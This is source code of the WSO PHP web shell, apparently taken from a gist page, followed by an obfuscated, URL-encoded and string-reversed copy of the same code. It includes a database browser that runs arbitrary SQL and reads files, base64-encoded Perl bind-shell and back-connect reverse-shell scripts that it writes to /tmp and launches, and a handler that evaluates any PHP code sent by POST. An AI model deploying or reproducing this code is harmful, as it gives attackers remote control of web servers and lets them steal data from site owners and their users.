}else | |
echo $tmp; | |
echo "</td> | |
<td><input type=submit value='>>' onclick='fs(d.sf);'></td> | |
<td><input type=checkbox name=sql_count value='on'" . (empty($_POST['sql_count'])?'':' checked') . "> count the number of rows</td> | |
</tr> | |
</table> | |
<script> | |
s_db='".@addslashes($_POST['sql_base'])."'; | |
function fs(f) { | |
if(f.sql_base.value!=s_db) { f.onsubmit = function() {}; | |
if(f.p1) f.p1.value=''; | |
if(f.p2) f.p2.value=''; | |
if(f.p3) f.p3.value=''; | |
} | |
} | |
function st(t,l) { | |
d.sf.p1.value = 'select'; | |
d.sf.p2.value = t; | |
if(l && d.sf.p3) d.sf.p3.value = l; | |
d.sf.submit(); | |
} | |
function is() { | |
for(i=0;i<d.sf.elements['tbl[]'].length;++i) | |
d.sf.elements['tbl[]'][i].checked = !d.sf.elements['tbl[]'][i].checked; | |
} | |
</script>"; | |
if(isset($db) && $db->link){ | |
echo "<br/><table width=100% cellpadding=2 cellspacing=0>"; | |
if(!empty($_POST['sql_base'])){ | |
$db->selectdb($_POST['sql_base']); | |
echo "<tr><td width=1 style='border-top:2px solid #666;'><span>Tables:</span><br><br>"; | |
$tbls_res = $db->listTables(); | |
while($item = $db->fetch($tbls_res)) { | |
list($key, $value) = each($item); | |
if(!empty($_POST['sql_count'])) | |
$n = $db->fetch($db->query('SELECT COUNT(*) as n FROM '.$value.'')); | |
$value = htmlspecialchars($value); | |
echo "<nobr><input type='checkbox' name='tbl[]' value='".$value."'> <a href=# onclick=\"st('".$value."',1)\">".$value."</a>" . (empty($_POST['sql_count'])?' ':" <small>({$n['n']})</small>") . "</nobr><br>"; | |
} | |
echo "<input type='checkbox' onclick='is();'> <input type=button value='Dump' onclick='document.sf.p2.value=\"download\";document.sf.submit();'><br>File path:<input type=text name=file value='dump.sql'></td><td style='border-top:2px solid #666;'>"; | |
if(@$_POST['p1'] == 'select') { | |
$_POST['p1'] = 'query'; | |
$_POST['p3'] = $_POST['p3']?$_POST['p3']:1; | |
$db->query('SELECT COUNT(*) as n FROM ' . $_POST['p2']); | |
$num = $db->fetch(); | |
$pages = ceil($num['n'] / 30); | |
echo "<script>d.sf.onsubmit=function(){st(\"" . $_POST['p2'] . "\", d.sf.p3.value)}</script><span>".$_POST['p2']."</span> ({$num['n']} records) Page # <input type=text name='p3' value=" . ((int)$_POST['p3']) . ">"; | |
echo " of $pages"; | |
if($_POST['p3'] > 1) | |
echo " <a href=# onclick='st(\"" . $_POST['p2'] . '", ' . ($_POST['p3']-1) . ")'>< Prev</a>"; | |
if($_POST['p3'] < $pages) | |
echo " <a href=# onclick='st(\"" . $_POST['p2'] . '", ' . ($_POST['p3']+1) . ")'>Next ></a>"; | |
$_POST['p3']--; | |
if($_POST['type']=='pgsql') | |
$_POST['p2'] = 'SELECT * FROM '.$_POST['p2'].' LIMIT 30 OFFSET '.($_POST['p3']*30); | |
else | |
$_POST['p2'] = 'SELECT * FROM `'.$_POST['p2'].'` LIMIT '.($_POST['p3']*30).',30'; | |
echo "<br><br>"; | |
} | |
if((@$_POST['p1'] == 'query') && !empty($_POST['p2'])) { | |
$db->query(@$_POST['p2']); | |
if($db->res !== false) { | |
$title = false; | |
echo '<table width=100% cellspacing=1 cellpadding=2 class=main style="background-color:#292929">'; | |
$line = 1; | |
while($item = $db->fetch()) { | |
if(!$title) { | |
echo '<tr>'; | |
foreach($item as $key => $value) | |
echo '<th>'.$key.'</th>'; | |
reset($item); | |
$title=true; | |
echo '</tr><tr>'; | |
$line = 2; | |
} | |
echo '<tr class="l'.$line.'">'; | |
$line = $line==1?2:1; | |
foreach($item as $key => $value) { | |
if($value == null) | |
echo '<td><i>null</i></td>'; | |
else | |
echo '<td>'.nl2br(htmlspecialchars($value)).'</td>'; | |
} | |
echo '</tr>'; | |
} | |
echo '</table>'; | |
} else { | |
echo '<div><b>Error:</b> '.htmlspecialchars($db->error()).'</div>'; | |
} | |
} | |
echo "<br></form><form onsubmit='d.sf.p1.value=\"query\";d.sf.p2.value=this.query.value;document.sf.submit();return false;'><textarea name='query' style='width:100%;height:100px'>"; | |
if(!empty($_POST['p2']) && ($_POST['p1'] != 'loadfile')) | |
echo htmlspecialchars($_POST['p2']); | |
echo "</textarea><br/><input type=submit value='Execute'>"; | |
echo "</td></tr>"; | |
} | |
echo "</table></form><br/>"; | |
if($_POST['type']=='mysql') { | |
$db->query("SELECT 1 FROM mysql.user WHERE concat(`user`, '@', `host`) = USER() AND `File_priv` = 'y'"); | |
if($db->fetch()) | |
echo "<form onsubmit='d.sf.p1.value=\"loadfile\";document.sf.p2.value=this.f.value;document.sf.submit();return false;'><span>Load file</span> <input class='toolsInp' type=text name=f><input type=submit value='>>'></form>"; | |
} | |
if(@$_POST['p1'] == 'loadfile') { | |
$file = $db->loadFile($_POST['p2']); | |
echo '<br/><pre class=ml1>'.htmlspecialchars($file['file']).'</pre>'; | |
} | |
} else { | |
echo htmlspecialchars($db->error()); | |
} | |
echo '</div>'; | |
wsoFooter(); | |
} | |
function actionNetwork() { | |
wsoHeader(); | |
$back_connect_p="IyEvdXNyL2Jpbi9wZXJsDQp1c2UgU29ja2V0Ow0KJGlhZGRyPWluZXRfYXRvbigkQVJHVlswXSkgfHwgZGllKCJFcnJvcjogJCFcbiIpOw0KJHBhZGRyPXNvY2thZGRyX2luKCRBUkdWWzFdLCAkaWFkZHIpIHx8IGRpZSgiRXJyb3I6ICQhXG4iKTsNCiRwcm90bz1nZXRwcm90b2J5bmFtZSgndGNwJyk7DQpzb2NrZXQoU09DS0VULCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgJHByb3RvKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpjb25uZWN0KFNPQ0tFVCwgJHBhZGRyKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpvcGVuKFNURElOLCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RET1VULCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RERVJSLCAiPiZTT0NLRVQiKTsNCnN5c3RlbSgnL2Jpbi9zaCAtaScpOw0KY2xvc2UoU1RESU4pOw0KY2xvc2UoU1RET1VUKTsNCmNsb3NlKFNUREVSUik7"; | |
$bind_port_p="IyEvdXNyL2Jpbi9wZXJsDQokU0hFTEw9Ii9iaW4vc2ggLWkiOw0KaWYgKEBBUkdWIDwgMSkgeyBleGl0KDEpOyB9DQp1c2UgU29ja2V0Ow0Kc29ja2V0KFMsJlBGX0lORVQsJlNPQ0tfU1RSRUFNLGdldHByb3RvYnluYW1lKCd0Y3AnKSkgfHwgZGllICJDYW50IGNyZWF0ZSBzb2NrZXRcbiI7DQpzZXRzb2Nrb3B0KFMsU09MX1NPQ0tFVCxTT19SRVVTRUFERFIsMSk7DQpiaW5kKFMsc29ja2FkZHJfaW4oJEFSR1ZbMF0sSU5BRERSX0FOWSkpIHx8IGRpZSAiQ2FudCBvcGVuIHBvcnRcbiI7DQpsaXN0ZW4oUywzKSB8fCBkaWUgIkNhbnQgbGlzdGVuIHBvcnRcbiI7DQp3aGlsZSgxKSB7DQoJYWNjZXB0KENPTk4sUyk7DQoJaWYoISgkcGlkPWZvcmspKSB7DQoJCWRpZSAiQ2Fubm90IGZvcmsiIGlmICghZGVmaW5lZCAkcGlkKTsNCgkJb3BlbiBTVERJTiwiPCZDT05OIjsNCgkJb3BlbiBTVERPVVQsIj4mQ09OTiI7DQoJCW9wZW4gU1RERVJSLCI+JkNPTk4iOw0KCQlleGVjICRTSEVMTCB8fCBkaWUgcHJpbnQgQ09OTiAiQ2FudCBleGVjdXRlICRTSEVMTFxuIjsNCgkJY2xvc2UgQ09OTjsNCgkJZXhpdCAwOw0KCX0NCn0="; | |
echo "<h1>Network tools</h1><div class=content> | |
<form name='nfp' onSubmit=\"g(null,null,'bpp',this.port.value);return false;\"> | |
<span>Bind port to /bin/sh [perl]</span><br/> | |
Port: <input type='text' name='port' value='31337'> <input type=submit value='>>'> | |
</form> | |
<form name='nfp' onSubmit=\"g(null,null,'bcp',this.server.value,this.port.value);return false;\"> | |
<span>Back-connect [perl]</span><br/> | |
Server: <input type='text' name='server' value='". $_SERVER['REMOTE_ADDR'] ."'> Port: <input type='text' name='port' value='31337'> <input type=submit value='>>'> | |
</form><br>"; | |
if(isset($_POST['p1'])) { | |
function cf($f,$t) { | |
$w = @fopen($f,"w") or @function_exists('file_put_contents'); | |
if($w){ | |
@fwrite($w,@base64_decode($t)); | |
@fclose($w); | |
} | |
} | |
if($_POST['p1'] == 'bpp') { | |
cf("/tmp/bp.pl",$bind_port_p); | |
$out = wsoEx("perl /tmp/bp.pl ".$_POST['p2']." 1>/dev/null 2>&1 &"); | |
sleep(1); | |
echo "<pre class=ml1>$out\n".wsoEx("ps aux | grep bp.pl")."</pre>"; | |
unlink("/tmp/bp.pl"); | |
} | |
if($_POST['p1'] == 'bcp') { | |
cf("/tmp/bc.pl",$back_connect_p); | |
$out = wsoEx("perl /tmp/bc.pl ".$_POST['p2']." ".$_POST['p3']." 1>/dev/null 2>&1 &"); | |
sleep(1); | |
echo "<pre class=ml1>$out\n".wsoEx("ps aux | grep bc.pl")."</pre>"; | |
unlink("/tmp/bc.pl"); | |
} | |
} | |
echo '</div>'; | |
wsoFooter(); | |
} | |
function actionRC() { | |
if(!@$_POST['p1']) { | |
$a = array( | |
"uname" => php_uname(), | |
"php_version" => phpversion(), | |
"wso_version" => WSO_VERSION, | |
"safemode" => @ini_get('safe_mode') | |
); | |
echo serialize($a); | |
} else { | |
eval($_POST['p1']); | |
} | |
} | |
if( empty($_POST['a']) ) | |
if(isset($default_action) && function_exists('action' . $default_action)) | |
$_POST['a'] = $default_action; | |
else | |
$_POST['a'] = 'SecInfo'; | |
if( !empty($_POST['a']) && function_exists('action' . $_POST['a']) ) | |
call_user_func('action' . $_POST['a']); | |
exit; | |
?> |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<?php | |
@error_reporting(0);@set_time_limit(0); | |
$code="%3Btixe%0D%0A%3B%29%5D%27a%27%5BTSOP_%24+.+%27noitca%27%28cnuf_resu_llac%09%0D%0A%29+%29%5D%27a%27%5BTSOP_%24+.+%27noitca%27%28stsixe_noitcnuf+%26%26+%29%5D%27a%27%5BTSOP_%24%28ytpme%21+%28fi%0D%0A%3B%27ofnIceS%27+%3D+%5D%27a%27%5BTSOP_%24%09%09%0D%0Aesle%09%0D%0A%3Bnoitca_tluafed%24+%3D+%5D%27a%27%5BTSOP_%24%09%09%0D%0A%29%29noitca_tluafed%24+.+%27noitca%27%28stsixe_noitcnuf+%26%26+%29noitca_tluafed%24%28tessi%28fi%09%0D%0A%29+%29%5D%27a%27%5BTSOP_%24%28ytpme+%28fi%0D%0A%7D%0D%0A%7D%09%0D%0A%3B%29%5D%271p%27%5BTSOP_%24%28lave%09%09%0D%0A%7B+esle+%7D%09%0D%0A%3B%29a%24%28ezilaires+ohce%09%09%0D%0A%3B%29%09%09%0D%0A%29%27edom_efas%27%28teg_ini%40+%3E%3D+%22edomefas%22%09%09%09%0D%0A%2CNOISREV_OSW+%3E%3D+%22noisrev_osw%22%09%09%09%0D%0A%2C%29%28noisrevphp+%3E%3D+%22noisrev_php%22%09%09%09%0D%0A%2C%29%28emanu_php+%3E%3D+%22emanu%22%09%09%09%0D%0A%28yarra+%3D+a%24%09%09%0D%0A%7B+%29%5D%271p%27%5BTSOP_%24%40%21%28fi%09%0D%0A%7B+%29%28CRnoitca+noitcnuf%0D%0A%7D%0D%0A%3B%29%28retooFosw%09%0D%0A%3B%27%3Evid%2F%3C%27+ohce%09%0D%0A%7D%09%0D%0A%7D%09%09%0D%0A%3B%29%22lp.cb%2Fpmt%2F%22%28knilnu++++++++++++%0D%0A%3B%22%3Eerp%2F%3C%22.%29%22lp.cb+perg+%7C+xua+sp%22%28xEosw.%22n%5Ctuo%24%3E1lm%3Dssalc+erp%3C%22+ohce%09%09%09%0D%0A%3B%291%28peels++++++++++++%0D%0A%3B%29%22%26+1%26%3E2+llun%2Fved%2F%3E1+%22.%5D%273p%27%5BTSOP_%24.%22+%22.%5D%272p%27%5BTSOP_%24.%22+lp.cb%2Fpmt%2F+lrep%22%28xEosw+%3D+tuo%24%09%09%09%0D%0A%3B%29p_tcennoc_kcab%24%2C%22lp.cb%2Fpmt%2F%22%28fc%09%09%09%0D%0A%7B+%29%27pcb%27+%3D%3D+%5D%271p%27%5BTSOP_%24%28fi%09%09%0D%0A%7D%09%09%0D%0A%3B%29%22lp.pb%2Fpmt%2F%22%28knilnu++++++++++++%0D%0A%3B%22%3Eerp%2F%3C%22.%29%22lp.pb+perg+%7C+xua+sp%22%28xEosw.%22n%5Ctuo%24%3E1lm%3Dssalc+erp%3C%22+ohce%09%09%09%0D%0A%3B%291%28peels++++++++++++%0D%0A%3B%29%22%26+1%26%3E2+llun%2Fved%2F%3E1+%22.%5D%272p%27%5BTSOP_%24.%22+lp.pb%2Fpmt%2F+lrep%22%28xEosw+%3D+tuo%24%09%09%09%0D%0A%3B%29p_trop_dnib%24%2C%22lp.pb%2Fpmt%2F%22%28fc%09%09%09%0D%0A%7B+%29%27ppb%27+%3D%3D+%5D%271p%27%5BTSOP_%24%28fi%09%09%0D%0A%7D%09%09%0D%0A%7D%09%09%09%0D%0A%3B%29w%24%28esolcf%40%09%09%09%09%0D%0A%3B%29%29t%24%28edoced_46esab%40%2Cw%24%28etirwf%40%09%09%09%09%0D%0A%7B%29w%24%28fi%09%09%09%0D%0A%3B%29%27stnetnoc_tup_elif%27%28stsixe_noitcnuf%40+ro+%29%22w%22%2Cf%24%28nepof%40+%3D+w%24%09%09%09%0D%0A%7B+%29t%24%2Cf%24%28fc+noitcnuf%09%09%0D%0A%7B+%29%29%5D%271p%27%5BTSOP_%24%28tessi%28fi%09%0D%0A%3B%22%3Erb%3C%3Emrof%2F%3C%09%0D%0A%3E%27%3E%3E%27%3Deulav+timbus%3Depyt+tupni%3C+%3E%2773313%27%3Deulav+%27trop%27%3Deman+%27txet%27%3Depyt+tupni%3C+%3AtroP+%3E%27%22.+%5D%27RDDA_ETOMER%27%5BREVRES_%24+.%22%27%3Deulav+%27revres%27%3Deman+%27txet%27%3Depyt+tupni%3C+%3ArevreS%09%0D%0A%3E%2Frb%3C%3Enaps%2F%3C%5Dlrep%5B++tcennoc-kcaB%3Enaps%3C%09%0D%0A%3E%22%5C%3Beslaf+nruter%3B%29eulav.trop.siht%2Ceulav.revres.siht%2C%27pcb%27%2Cllun%2Cllun%28g%22%5C%3DtimbuSno+%27pfn%27%3Deman+mrof%3C%09%0D%0A%3Emrof%2F%3C%09%0D%0A%3E%27%3E%3E%27%3Deulav+timbus%3Depyt+tupni%3C+%3E%2773313%27%3Deulav+%27trop%27%3Deman+%27txet%27%3Depyt+tupni%3C+%3AtroP%09%0D%0A%3E%2Frb%3C%3Enaps%2F%3C%5Dlrep%5B+hs%2Fnib%2F+ot+trop+dniB%3Enaps%3C%09%0D%0A%3E%22%5C%3Beslaf+nruter%3B%29eulav.trop.siht%2C%27ppb%27%2Cllun%2Cllun%28g%22%5C%3DtimbuSno+%27pfn%27%3Deman+mrof%3C%09%0D%0A%3Etnetnoc%3Dssalc+vid%3C%3E1h%2F%3Csloot+krowteN%3E1h%3C%22+ohce%09%0D%0A%3B%22%3D0nCN0XCK0wOwACdphXZJkgCNsjTO90QgU2cvx2YJkgCNsjIuxFTMVESTRCIlRXdjVGelBCduF2QiAiTO90QgQnbpJHcgUWakBCf8BCTMVESTRCIjVGellQCK0wOi4kTPNkJ%2BICLSJVRER1Ug4WZw9WCJoQD7IiTO90Qm4jIsQVVPREVTBiblB3bJkgCNsjIO50TDZCPiwiTJREVTBiblB3bJkgCNsTKklGckACZl5WamVGZhgCImlGIismcvZGI09mbuF2QiASZpRWCJoQD7BSKpsmcvZWPklGckgSIoYWaJoQD7kyUs4kTPNEK0BXZjNWYJoQD7BSKxgSZslGa3pQD7IibcRncvBHIuVGdzlGbgQnbhNkIgUWakBCf8BSKzwyUo4WZ0NXaspQD7IibcRncvBHIuVGcvBCduF2QiASZpRGI8xHIpkSWOF0XSRERB5USs0FMbZ1RSFEJo4WafJHZkF2aj92csMFKk5WaipQD7kSMsIFREFURTVVRS91TTxCVFt0QPN1XM90UsMFK0B3brN2bzRXZzpQD7IibcRXZrN2bzBSZ0FWZyNGI05WYDJCIllGZgwHfgkSKnA3Y0dCKl1WYulnYvR3byBHdldGLNFURSR1Uft0QPNlJsQVROl0XGBlJsMFK0V2aj92cK0wO0V2aj92UgU2c1pQD9ByOpEDK0lGelByegkSMgwDIWdkUBBEKgYWaK0wOikWLgg2cv4Wai9iI9wETFh0UkoQDsJXZw9ibpJ2LyNXdvEyI%22%3Dp_trop_dnib%24%09%0D%0A%3B%227kiUSVERUNFKlN3bsNmCNsTKUV1TER1UoU2cvx2YK0wOp4USER1UoU2cvx2YK0wOpcSatACaz9ibpJ2LngSblR3c5NnCNsTKiQVRLN0TTZiPiACLSJVRER1Uo4WZw9mCNsTKiQVRLN0TTZiPiACLUV1TER1Uo4WZw9mCNsTKiQVRLN0TTZiPiACLOlERUNFKuVGcvpQD7kiIuxVIkAiOy9mcyVkIoUWakBCf8BSKyRGZhBHJgwCVFt0QPNFK0NWZu52bjpQD7kiIuxVIkAiOy9mcyVkIoUWakBCf8BSKvR3byBHJgwSTBVkUUN1XLN0TTBCLUVkTJ9lRQBCLUV0SD90UoQXZrN2bzpQD7kyJwNGdngSZtFmb5J2b09mcwRXZn1zb09mcwRiCNsTKi4GXhQCI6I3byJXRigSZpRGI8xHIpIHZkFWakACLdFzWWdkUBRCKul2XyRGZht2YvNXPyRGZhBHJK0wOpIibcFCJgojcvJncFJCKllGZgwHfgkSXwslVHJVQkgibvRXYfRXZulWPyRGZhlGJK0wO0V2aj92UgU2c1pQDsJXZw9ibpJ2LyNXdvEyI%22%3Dp_tcennoc_kcab%24%09%0D%0A%3B%29%28redaeHosw%09%0D%0A%7B+%29%28krowteNnoitca+noitcnuf%0D%0A%7D%0D%0A%3B%29%28retooFosw%09%0D%0A%3B%27%3Evid%2F%3C%27+ohce%09%0D%0A%7D++++%0D%0A%3B%29%29%28rorre%3E-bd%24%28srahclaicepslmth+ohce++++++++%0D%0A%7B+esle+%7D%09%0D%0A%7D%09%09%09%0D%0A%3B%27%3Eerp%2F%3C%27.%29%5D%27elif%27%5Belif%24%28srahclaicepslmth.%27%3E1lm%3Dssalc+erp%3C%3E%2Frb%3C%27+ohce%09%09%09%09%0D%0A%3B%29%5D%272p%27%5BTSOP_%24%28eliFdaol%3E-bd%24+%3D+elif%24%09%09%09%09%0D%0A%7B+%29%27elifdaol%27+%3D%3D+%5D%271p%27%5BTSOP_%24%40%28fi%09%09%09%0D%0A%7D++++++++++++%0D%0A%3B%22%3Emrof%2F%3C%3E%27%3E%3E%27%3Deulav+timbus%3Depyt+tupni%3C%3Ef%3Deman+txet%3Depyt+%27pnIsloot%27%3Dssalc++tupni%3C+%3Enaps%2F%3Celif+daoL%3Enaps%3C%3E%27%3Beslaf+nruter%3B%29%28timbus.fs.tnemucod%3Beulav.f.siht%3Deulav.2p.fs.tnemucod%3B%22%5Celifdaol%22%5C%3Deulav.1p.fs.d%27%3Dtimbusno+mrof%3C%22+ohce++++++++++++++++++++%0D%0A%29%29%28hctef%3E-bd%24%28fi++++++++++++++++%0D%0A%3B%29%22%27y%27+%3D+%60virp_eliF%60+DNA+%29%28RESU+%3D+%29%60tsoh%60+%2C%27%40%27+%2C%60resu%60%28tacnoc+EREHW+resu.lqsym+MORF+1+TCELES%22%28yreuq%3E-bd%24++++++++++++++++%0D%0A%7B+%29%27lqsym%27%3D%3D%5D%27epyt%27%5BTSOP_%24%28fi++++++++++++%0D%0A%3B%22%3E%2Frb%3C%3Emrof%2F%3C%3Eelbat%2F%3C%22+ohce%09%09%09%0D%0A%7D%09%09%09%0D%0A%3B%22%3Ert%2F%3C%3Edt%2F%3C%22+ohce%09%09%09%09%0D%0A%3B%22%3E%27etucexE%27%3Deulav+timbus%3Depyt+tupni%3C%3E%2Frb%3C%3Eaeratxet%2F%3C%22+ohce++++++++++++++++%0D%0A%3B%29%5D%272p%27%5BTSOP_%24%28srahclaicepslmth+ohce++++++++++++++++++++%0D%0A%29%29%27elifdaol%27+%3D%21+%5D%271p%27%5BTSOP_%24%28+%26%26+%29%5D%272p%27%5BTSOP_%24%28ytpme%21%28fi++++++++++++++++%0D%0A%3B%22%3E%27xp001%3Athgieh%3B%25001%3Ahtdiw%27%3Delyts+%27yreuq%27%3Deman+aeratxet%3C%3E%27%3Beslaf+nruter%3B%29%28timbus.fs.tnemucod%3Beulav.yreuq.siht%3Deulav.2p.fs.d%3B%22%5Cyreuq%22%5C%3Deulav.1p.fs.d%27%3Dtimbusno+mrof%3C%3Emrof%2F%3C%3Erb%3C%22+ohce%09%09%09%09%0D%0A%7D%09%09%09%09%0D%0A%7D%09%09%09%09%09%0D%0A%3B%27%3Evid%2F%3C%27.%29%29%28rorre%3E-bd%24%28srahclaicepslmth.%27+%3Eb%2F%3C%3ArorrE%3Eb%3C%3Evid%3C%27+ohce%09%09%09%09%09%09%0D%0A%7B+esle+%7D%09%09%09%09%09%0D%0A%3B%27%3Eelbat%2F%3C%27+ohce%09%09%09%09%09%09%0D%0A%7D%09%09%09%09%09%09%0D%0A%3B%27%3Ert%2F%3C%27+ohce%09%09%09%09%09%09%09%0D%0A%7D%09%09%09%09%09%09%09%0D%0A%3B%27%3Edt%2F%3C%27.%29%29eulav%24%28srahclaicepslmth%28rb2ln.%27%3Edt%3C%27+ohce%09%09%09%09%09%09%09%09%09%0D%0Aesle%09%09%09%09%09%09%09%09%0D%0A%3B%27%3Edt%2F%3C%3Ei%2F%3Cllun%3Ei%3C%3Edt%3C%27+ohce%09%09%09%09%09%09%09%09%09%0D%0A%29llun+%3D%3D+eulav%24%28fi%09%09%09%09%09%09%09%09%0D%0A%7B+%29eulav%24+%3E%3D+yek%24+sa+meti%24%28hcaerof%09%09%09%09%09%09%09%0D%0A%3B1%3A2%3F1%3D%3Denil%24+%3D+enil%24%09%09%09%09%09%09%09%0D%0A%3B%27%3E%22%27.enil%24.%27l%22%3Dssalc+rt%3C%27+ohce%09%09%09%09%09%09%09%0D%0A%7D%09%09%09%09%09%09%09%0D%0A%3B2+%3D+enil%24%09%09%09%09%09%09%09%09%0D%0A%3B%27%3Ert%3C%3Ert%2F%3C%27+ohce%09%09%09%09%09%09%09%09%0D%0A%3Beurt%3Deltit%24%09%09%09%09%09%09%09%09%0D%0A%3B%29meti%24%28teser%09%09%09%09%09%09%09%09%0D%0A%3B%27%3Eht%2F%3C%27.yek%24.%27%3Eht%3C%27+ohce%09%09%09%09%09%09%09%09%09%0D%0A%29eulav%24+%3E%3D+yek%24+sa+meti%24%28hcaerof%09%09%09%09%09%09%09%09%0D%0A%3B%27%3Ert%3C%27+ohce%09%09%09%09%09%09%09%09%0D%0A%7B%09%29eltit%24%21%28fi%09%09%09%09%09%09%09%0D%0A%7B%09%29%29%28hctef%3E-bd%24+%3D+meti%24%28elihw%09%09%09%09%09%09%0D%0A%3B1+%3D+enil%24%09%09%09%09%09%09%0D%0A%3B%27%3E%22929292%23%3Aroloc-dnuorgkcab%22%3Delyts+niam%3Dssalc+2%3Dgniddapllec+1%3Dgnicapsllec+%25001%3Dhtdiw+elbat%3C%27+ohce%09%09%09%09%09%09%0D%0A%3Beslaf+%3D+eltit%24%09%09%09%09%09%09%0D%0A%7B+%29eslaf+%3D%3D%21+ser%3E-bd%24%28fi%09%09%09%09%09%0D%0A%3B%29%5D%272p%27%5BTSOP_%24%40%28yreuq%3E-bd%24%09%09%09%09%09%0D%0A%7B+%29%29%5D%272p%27%5BTSOP_%24%28ytpme%21+%26%26+%29%27yreuq%27+%3D%3D+%5D%271p%27%5BTSOP_%24%40%28%28fi%09%09%09%09%0D%0A%7D%09%09%09%09%0D%0A%3B%22%3Erb%3C%3Erb%3C%22+ohce%09%09%09%09%09%0D%0A%3B%2703%2C%27.%2903%2A%5D%273p%27%5BTSOP_%24%28.%27+TIMIL+%60%27.%5D%272p%27%5BTSOP_%24.%27%60+MORF+%2A+TCELES%27+%3D+%5D%272p%27%5BTSOP_%24%09%09%09%09%09%09%0D%0Aesle%09%09%09%09%09%0D%0A%3B%2903%2A%5D%273p%27%5BTSOP_%24%28.%27+TESFFO+03+TIMIL+%27.%5D%272p%27%5BTSOP_%24.%27+MORF+%2A+TCELES%27+%3D+%5D%272p%27%5BTSOP_%24%09%09%09%09%09%09%0D%0A%29%27lqsgp%27%3D%3D%5D%27epyt%27%5BTSOP_%24%28fi%09%09%09%09%09%0D%0A%3B--%5D%273p%27%5BTSOP_%24++++++++++++++++++++%0D%0A%3B%22%3Ea%2F%3C%3Btg%26+txeN%3E%27%29%22+.+%291%2B%5D%273p%27%5BTSOP_%24%28+.+%27+%2C%22%27+.+%5D%272p%27%5BTSOP_%24+.+%22%22%5C%28ts%27%3Dkcilcno+%23%3Dferh+a%3C+%22+ohce++++++++++++++++++++++++%0D%0A%29segap%24+%3C+%5D%273p%27%5BTSOP_%24%28fi++++++++++++++++++++%0D%0A%3B%22%3Ea%2F%3CverP+%3Btl%26%3E%27%29%22+.+%291-%5D%273p%27%5BTSOP_%24%28+.+%27+%2C%22%27+.+%5D%272p%27%5BTSOP_%24+.+%22%22%5C%28ts%27%3Dkcilcno+%23%3Dferh+a%3C+%22+ohce++++++++++++++++++++++++%0D%0A%291+%3E+%5D%273p%27%5BTSOP_%24%28fi++++++++++++++++++++%0D%0A%3B%22segap%24+fo+%22+ohce++++++++++++++++++++%0D%0A%3B%22%3E%22+.+%29%5D%273p%27%5BTSOP_%24%29tni%28%28+.+%22%3Deulav+%273p%27%3Deman+txet%3Depyt+tupni%3C+%23+egaP+%29sdrocer+%7D%5D%27n%27%5Bmun%24%7B%28+%3Enaps%2F%3C%22.%5D%272p%27%5BTSOP_%24.%22%3Enaps%3C%3Etpircs%2F%3C%7D%29eulav.3p.fs.d+%2C%22%5C%22+.+%5D%272p%27%5BTSOP_%24+.+%22%22%5C%28ts%7B%29%28noitcnuf%3Dtimbusno.fs.d%3Etpircs%3C%22+ohce++++++++++++++++++++%0D%0A%3B%2903+%2F+%5D%27n%27%5Bmun%24%28liec+%3D+segap%24%09%09%09%09%09%0D%0A%3B%29%28hctef%3E-bd%24+%3D+mun%24%09%09%09%09%09%0D%0A%3B%29%5D%272p%27%5BTSOP_%24+.+%27+MORF+n+sa+%29%2A%28TNUOC+TCELES%27%28yreuq%3E-bd%24%09%09%09%09%09%0D%0A%3B1%3A%5D%273p%27%5BTSOP_%24%3F%5D%273p%27%5BTSOP_%24+%3D+%5D%273p%27%5BTSOP_%24++++++++++++++++++++%0D%0A%3B%27yreuq%27+%3D+%5D%271p%27%5BTSOP_%24%09%09%09%09%09%0D%0A%7B+%29%27tceles%27+%3D%3D+%5D%271p%27%5BTSOP_%24%40%28fi%09%09%09%09%0D%0A%3B%22%3E%27%3B666%23+dilos+xp2%3Apot-redrob%27%3Delyts+dt%3C%3Edt%2F%3C%3E%27lqs.pmud%27%3Deulav+elif%3Deman+txet%3Depyt+tupni%3C%3Ahtap+eliF%3Erb%3C%3E%27%3B%29%28timbus.fs.tnemucod%3B%22%5Cdaolnwod%22%5C%3Deulav.2p.fs.tnemucod%27%3Dkcilcno+%27pmuD%27%3Deulav+nottub%3Depyt+tupni%3C+%3E%27%3B%29%28si%27%3Dkcilcno+%27xobkcehc%27%3Depyt+tupni%3C%22+ohce%09%09%09%09%0D%0A%7D%09%09%09%09%0D%0A%3B%22%3Erb%3C%3Erbon%2F%3C%22+.+%29%22%3Ellams%2F%3C%29%7D%5D%27n%27%5Bn%24%7B%28%3Ellams%3C+%22%3A%27%3Bpsbn%26%27%3F%29%5D%27tnuoc_lqs%27%5BTSOP_%24%28ytpme%28+.+%22%3Ea%2F%3C%22.eulav%24.%22%3E%22%5C%291%2C%27%22.eulav%24.%22%27%28ts%22%5C%3Dkcilcno+%23%3Dferh+a%3C%3Bpsbn%26%3E%27%22.eulav%24.%22%27%3Deulav+%27%5D%5Blbt%27%3Deman+%27xobkcehc%27%3Depyt+tupni%3C%3Erbon%3C%22+ohce%09%09%09%09%09%0D%0A%3B%29eulav%24%28srahclaicepslmth+%3D+eulav%24%09%09%09%09%09%0D%0A%3B%29%29%27%27.eulav%24.%27+MORF+n+sa+%29%2A%28TNUOC+TCELES%27%28yreuq%3E-bd%24%28hctef%3E-bd%24+%3D+n%24++++++++++++++++++++++++%0D%0A%29%29%5D%27tnuoc_lqs%27%5BTSOP_%24%28ytpme%21%28fi++++++++++++++++++++%0D%0A%3B%29meti%24%28hcae+%3D+%29eulav%24+%2Cyek%24%28tsil%09%09%09%09%09%0D%0A%7B+%29%29ser_slbt%24%28hctef%3E-bd%24+%3D+meti%24%28elihw%09%09%09%09%0D%0A%3B%29%28selbaTtsil%3E-bd%24+%3D+ser_slbt%24%09%09%09%09%0D%0A%3B%22%3Erb%3C%3Erb%3C%3Enaps%2F%3C%3AselbaT%3Enaps%3C%3E%27%3B666%23+dilos+xp2%3Apot-redrob%27%3Delyts+1%3Dhtdiw+dt%3C%3Ert%3C%22+ohce%09%09%09%09%0D%0A%3B%29%5D%27esab_lqs%27%5BTSOP_%24%28bdtceles%3E-bd%24%09%09%09%09%0D%0A%7B%29%29%5D%27esab_lqs%27%5BTSOP_%24%28ytpme%21%28fi%09%09%09%0D%0A%3B%22%3E0%3Dgnicapsllec+2%3Dgniddapllec+%25001%3Dhtdiw+elbat%3C%3E%2Frb%3C%22+ohce%09%09%0D%0A%7B%29knil%3E-bd